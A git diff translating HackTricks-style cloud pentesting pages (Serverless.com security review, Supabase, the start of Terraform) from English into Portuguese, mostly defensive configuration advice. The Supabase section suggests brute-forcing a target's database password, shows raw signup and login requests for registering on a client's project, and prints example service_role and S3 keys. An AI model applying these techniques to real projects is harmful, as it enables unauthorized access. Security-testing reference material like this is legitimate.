${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. Implemente-o executando **`serverless deploy`** +1. A implantação será realizada via um CloudFormation Stack +2. Observe que as **lambdas estão expostas via API gateway** e não via URLs diretas +7. **Teste-o** +1. O passo anterior imprimirá as **URLs** onde suas funções lambda de endpoints da API foram implantadas -## Security Review of Serverless.com +## Revisão de Segurança do Serverless.com -### **Misconfigured IAM Roles and Permissions** +### **Funções e Permissões IAM Mal Configuradas** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +Funções IAM excessivamente permissivas podem conceder acesso não autorizado a recursos em nuvem, levando a vazamentos de dados ou manipulação de recursos. -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +Quando nenhuma permissão é especificada para uma função Lambda, uma função com permissões apenas para gerar logs será criada, como:
-Minimum lambda permissions - +Permissões mínimas da lambda ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **Princípio do Menor Privilégio:** Atribua apenas as permissões necessárias a cada função. ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +- **Use Funções Separadas:** Diferencie funções com base nos requisitos da função. + +--- + +### **Segredos Inseguros e Gerenciamento de Configuração** + +Armazenar informações sensíveis (por exemplo, chaves de API, credenciais de banco de dados) diretamente em **`serverless.yml`** ou código pode levar à exposição se os repositórios forem comprometidos. + +A **maneira recomendada** de armazenar variáveis de ambiente no arquivo **`serverless.yml`** do serverless.com (no momento da redação) é usar os provedores `ssm` ou `s3`, que permitem obter os **valores de ambiente dessas fontes no momento da implantação** e **configurar** as variáveis de ambiente das **lambdas** com o **texto claro dos valores**! + +> [!CAUTION] +> Portanto, qualquer pessoa com permissões para ler a configuração das lambdas dentro da AWS poderá **acessar todas essas variáveis de ambiente em texto claro!** + +Por exemplo, o seguinte exemplo usará SSM para obter uma variável de ambiente: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` +E mesmo que isso impeça a codificação rígida do valor da variável de ambiente no arquivo **`serverless.yml`**, o valor será obtido no momento da implantação e será **adicionado em texto claro dentro da variável de ambiente da lambda**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> A maneira recomendada de armazenar variáveis de ambiente usando serveless.com seria **armazená-las em um segredo da AWS** e apenas armazenar o nome do segredo na variável de ambiente e o **código da lambda deve coletá-lo**. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Integração com o Secrets Manager:** Use serviços como **AWS Secrets Manager.** +- **Variáveis Criptografadas:** Aproveite os recursos de criptografia do Serverless Framework para dados sensíveis. +- **Controles de Acesso:** Restringir o acesso a segredos com base em funções. --- -### **Vulnerable Code and Dependencies** +### **Código e Dependências Vulneráveis** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +Dependências desatualizadas ou inseguras podem introduzir vulnerabilidades, enquanto o manuseio inadequado de entradas pode levar a ataques de injeção de código. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **Gerenciamento de Dependências:** Atualize regularmente as dependências e escaneie em busca de vulnerabilidades. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **Validação de Entrada:** Implemente validação e sanitização rigorosas de todas as entradas. +- **Revisões de Código:** Realize revisões minuciosas para identificar falhas de segurança. +- **Análise Estática:** Use ferramentas para detectar vulnerabilidades na base de código. --- -### **Inadequate Logging and Monitoring** +### **Registro e Monitoramento Inadequados** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +Sem registro e monitoramento adequados, atividades maliciosas podem passar despercebidas, atrasando a resposta a incidentes. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **Registro Centralizado:** Agregue logs usando serviços como **AWS CloudWatch** ou **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **Ativar Registro Detalhado:** Capture informações essenciais sem expor dados sensíveis. +- **Configurar Alertas:** Configure alertas para atividades suspeitas ou anomalias. +- **Monitoramento Regular:** Monitore continuamente logs e métricas em busca de potenciais incidentes de segurança. --- -### **Insecure API Gateway Configurations** +### **Configurações Inseguras do API Gateway** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +APIs abertas ou mal protegidas podem ser exploradas para acesso não autorizado, ataques de Negação de Serviço (DoS) ou ataques entre sites. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **Autenticação e Autorização:** Implemente mecanismos robustos como OAuth, chaves de API ou JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **Limitação de Taxa e Controle de Fluxo:** Previna abusos limitando as taxas de solicitação. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **Configuração Segura de CORS:** Restringir origens, métodos e cabeçalhos permitidos. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Usar Firewalls de Aplicação Web (WAF):** Filtrar e monitorar solicitações HTTP em busca de padrões maliciosos. --- -### **Insufficient Function Isolation** +### **Isolamento de Funções Insuficiente** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +Recursos compartilhados e isolamento inadequado podem levar a elevações de privilégio ou interações não intencionais entre funções. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **Isolar Funções:** Atribua recursos e funções IAM distintos para garantir operação independente. +- **Particionamento de Recursos:** Use bancos de dados ou buckets de armazenamento separados para diferentes funções. +- **Usar VPCs:** Implante funções dentro de Nuvens Privadas Virtuais para melhor isolamento de rede. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **Limitar Permissões de Funções:** Garantir que as funções não possam acessar ou interferir nos recursos umas das outras, a menos que explicitamente necessário. --- -### **Inadequate Data Protection** +### **Proteção de Dados Inadequada** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +Dados não criptografados em repouso ou em trânsito podem ser expostos, levando a vazamentos de dados ou adulterações. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **Criptografar Dados em Repouso:** Utilize recursos de criptografia do serviço em nuvem. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **Criptografar Dados em Trânsito:** Use HTTPS/TLS para todas as transmissões de dados. +- **Comunicação Segura da API:** Imponha protocolos de criptografia e valide certificados. +- **Gerenciar Chaves de Criptografia de Forma Segura:** Use serviços de chave gerenciados e gire as chaves regularmente. --- -### **Lack of Proper Error Handling** +### **Falta de Tratamento Adequado de Erros** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +Mensagens de erro detalhadas podem vazar informações sensíveis sobre a infraestrutura ou a base de código, enquanto exceções não tratadas podem levar a falhas na aplicação. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **Mensagens de Erro Genéricas:** Evite expor detalhes internos nas respostas de erro. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Exemplo em Node.js +exports.hello = async (event) => { +try { +// Lógica da função +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Erro Interno do Servidor' }), +}; +} +}; +``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **Tratamento Centralizado de Erros:** Gerencie e sanitize erros de forma consistente em todas as funções. +- **Monitorar e Registrar Erros:** Rastreie e analise erros internamente sem expor detalhes aos usuários finais. --- -### **Insecure Deployment Practices** +### **Práticas de Implantação Inseguras** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +Configurações de implantação expostas ou acesso não autorizado a pipelines de CI/CD podem levar a implantações de código malicioso ou configurações incorretas. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **Pipelines de CI/CD Seguros:** Implemente controles de acesso rigorosos, autenticação multifator (MFA) e auditorias regulares. +- **Armazenar Configurações de Forma Segura:** Mantenha arquivos de implantação livres de segredos codificados e dados sensíveis. +- **Usar Ferramentas de Segurança de Infraestrutura como Código (IaC):** Empregue ferramentas como **Checkov** ou **Terraform Sentinel** para impor políticas de segurança. +- **Implantações Imutáveis:** Previna alterações não autorizadas após a implantação adotando práticas de infraestrutura imutável. --- -### **Vulnerabilities in Plugins and Extensions** +### **Vulnerabilidades em Plugins e Extensões** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +Usar plugins de terceiros não verificados ou maliciosos pode introduzir vulnerabilidades em suas aplicações serverless. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **Avaliar Plugins Minuciosamente:** Avalie a segurança dos plugins antes da integração, favorecendo aqueles de fontes respeitáveis. +- **Limitar o Uso de Plugins:** Use apenas plugins necessários para minimizar a superfície de ataque. +- **Monitorar Atualizações de Plugins:** Mantenha os plugins atualizados para se beneficiar de correções de segurança. +- **Isolar Ambientes de Plugins:** Execute plugins em ambientes isolados para conter possíveis compromissos. --- -### **Exposure of Sensitive Endpoints** +### **Exposição de Endpoints Sensíveis** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +Funções acessíveis publicamente ou APIs sem restrições podem ser exploradas para operações não autorizadas. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **Restringir Acesso a Funções:** Use VPCs, grupos de segurança e regras de firewall para limitar o acesso a fontes confiáveis. +- **Implementar Autenticação Robusta:** Garantir que todos os endpoints expostos exijam autenticação e autorização adequadas. +- **Usar API Gateways de Forma Segura:** Configure API Gateways para impor políticas de segurança, incluindo validação de entrada e limitação de taxa. +- **Desativar Endpoints Não Utilizados:** Revise regularmente e desative quaisquer endpoints que não estejam mais em uso. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **Permissões Excessivas para Membros da Equipe e Colaboradores Externos** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +Conceder permissões excessivas a membros da equipe e colaboradores externos pode levar a acesso não autorizado, vazamentos de dados e uso indevido de recursos. Esse risco é aumentado em ambientes onde múltiplos indivíduos têm níveis variados de acesso, aumentando a superfície de ataque e o potencial para ameaças internas. -#### **Mitigation Strategies** +#### **Estratégias de Mitigação** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **Princípio do Menor Privilégio:** Garantir que membros da equipe e colaboradores tenham apenas as permissões necessárias para realizar suas tarefas. --- -### **Access Keys and License Keys Security** +### **Segurança de Chaves de Acesso e Chaves de Licença** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**Chaves de Acesso** e **Chaves de Licença** são credenciais críticas usadas para autenticar e autorizar interações com a CLI do Serverless Framework. -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **Chaves de Licença:** São identificadores únicos necessários para autenticar o acesso à Versão 4 do Serverless Framework, que permite login via CLI. +- **Chaves de Acesso:** Credenciais que permitem que a CLI do Serverless Framework se autentique com o Dashboard do Serverless Framework. Ao fazer login com a CLI `serverless`, uma chave de acesso será **gerada e armazenada no laptop**. Você também pode configurá-la como uma variável de ambiente chamada `SERVERLESS_ACCESS_KEY`. -#### **Security Risks** +#### **Riscos de Segurança** -1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **Exposição Através de Repositórios de Código:** +- Codificar ou cometer acidentalmente Chaves de Acesso e Chaves de Licença em sistemas de controle de versão pode levar a acesso não autorizado. +2. **Armazenamento Inseguro:** +- Armazenar chaves em texto claro dentro de variáveis de ambiente ou arquivos de configuração sem criptografia adequada aumenta a probabilidade de vazamento. +3. **Distribuição Inadequada:** +- Compartilhar chaves por canais não seguros (por exemplo, e-mail, chat) pode resultar em interceptação por atores maliciosos. +4. **Falta de Rotação:** +- Não girar regularmente as chaves estende o período de exposição se as chaves forem comprometidas. +5. **Permissões Excessivas:** +- Chaves com permissões amplas podem ser exploradas para realizar ações não autorizadas em vários recursos. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..43dc00b5a 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -2,49 +2,48 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +De acordo com sua [**página de destino**](https://supabase.com/): Supabase é uma alternativa de código aberto ao Firebase. Comece seu projeto com um banco de dados Postgres, Autenticação, APIs instantâneas, Funções Edge, assinaturas em tempo real, Armazenamento e embeddings vetoriais. -### Subdomain +### Subdomínio -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +Basicamente, quando um projeto é criado, o usuário receberá um subdomínio supabase.co como: **`jnanozjdybtpqgcwhdiz.supabase.co`** -## **Database configuration** +## **Configuração do banco de dados** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **Esses dados podem ser acessados a partir de um link como `https://supabase.com/dashboard/project//settings/database`** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +Este **banco de dados** será implantado em alguma região da AWS, e para se conectar a ele, seria possível fazer isso conectando-se a: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (isso foi criado em us-west-1).\ +A senha é uma **senha que o usuário colocou** anteriormente. -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +Portanto, como o subdomínio é conhecido e é usado como nome de usuário e as regiões da AWS são limitadas, pode ser possível tentar **forçar a senha**. -This section also contains options to: +Esta seção também contém opções para: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- Redefinir a senha do banco de dados +- Configurar o pool de conexões +- Configurar SSL: Rejeitar conexões em texto simples (por padrão, estão habilitadas) +- Configurar o tamanho do disco +- Aplicar restrições e proibições de rede -## API Configuration +## Configuração da API > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **Esses dados podem ser acessados a partir de um link como `https://supabase.com/dashboard/project//settings/api`** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +A URL para acessar a API supabase em seu projeto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### anon api keys +### chaves da API anon -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +Ele também gerará uma **chave da API anon** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que a aplicação precisará usar para contatar a chave da API exposta em nosso exemplo em -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +É possível encontrar a API REST para contatar esta API na [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), mas os endpoints mais interessantes seriam:
Signup (/auth/v1/signup) - ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
Login (/auth/v1/token?grant_type=password) - ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +Então, sempre que você descobrir um cliente usando supabase com o subdomínio que lhe foi concedido (é possível que um subdomínio da empresa tenha um CNAME sobre seu subdomínio supabase), você pode tentar **criar uma nova conta na plataforma usando a API supabase**. -### secret / service_role api keys +### chaves de api secret / service_role -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +Uma chave de API secreta também será gerada com **`role: "service_role"`**. Esta chave de API deve ser secreta porque será capaz de contornar **Row Level Security**. -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +A chave de API se parece com isso: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT Secret -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +Um **JWT Secret** também será gerado para que a aplicação possa **criar e assinar tokens JWT personalizados**. -## Authentication +## Autenticação -### Signups +### Inscrições > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> Por **padrão**, o supabase permitirá que **novos usuários criem contas** em seu projeto usando os endpoints de API mencionados anteriormente. -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +No entanto, essas novas contas, por padrão, **precisarão validar seu endereço de e-mail** para poder fazer login na conta. É possível habilitar **"Permitir logins anônimos"** para permitir que as pessoas façam login sem verificar seu endereço de e-mail. Isso pode conceder acesso a **dados inesperados** (eles recebem os papéis `public` e `authenticated`).\ +Isso é uma ideia muito ruim porque o supabase cobra por usuário ativo, então as pessoas poderiam criar usuários e fazer login e o supabase cobraria por esses:
-### Passwords & sessions +### Senhas e sessões -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +É possível indicar o comprimento mínimo da senha (por padrão), requisitos (nenhum por padrão) e proibir o uso de senhas vazadas.\ +É recomendado **melhorar os requisitos, pois os padrões são fracos**. -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- Sessões de Usuário: É possível configurar como as sessões de usuário funcionam (timeouts, 1 sessão por usuário...) +- Proteção contra Bots e Abusos: É possível habilitar Captcha. -### SMTP Settings +### Configurações SMTP -It's possible to set an SMTP to send emails. +É possível definir um SMTP para enviar e-mails. -### Advanced Settings +### Configurações Avançadas -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- Definir tempo de expiração para tokens de acesso (3600 por padrão) +- Definir para detectar e revogar tokens de atualização potencialmente comprometidos e timeout +- MFA: Indicar quantos fatores MFA podem ser registrados de uma vez por usuário (10 por padrão) +- Máximo de Conexões Diretas ao Banco de Dados: Número máximo de conexões usadas para autenticação (10 por padrão) +- Duração Máxima da Solicitação: Tempo máximo permitido para uma solicitação de autenticação durar (10s por padrão) -## Storage +## Armazenamento > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> O supabase permite **armazenar arquivos** e torná-los acessíveis por meio de uma URL (ele usa buckets S3). -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- Definir o limite de tamanho do arquivo de upload (o padrão é 50MB) +- A conexão S3 é dada com uma URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- É possível **solicitar uma chave de acesso S3** que é formada por um `access key ID` (por exemplo, `a37d96544d82ba90057e0e06131d0a7b`) e uma `secret access key` (por exemplo, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) -## Edge Functions +## Funções de Edge -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +É possível **armazenar segredos** no supabase também, que serão **acessíveis por funções de edge** (elas podem ser criadas e excluídas pela web, mas não é possível acessar seu valor diretamente). {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..767d496ae 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,308 +1,278 @@ -# Terraform Security +# Segurança do Terraform {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[Dos docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and 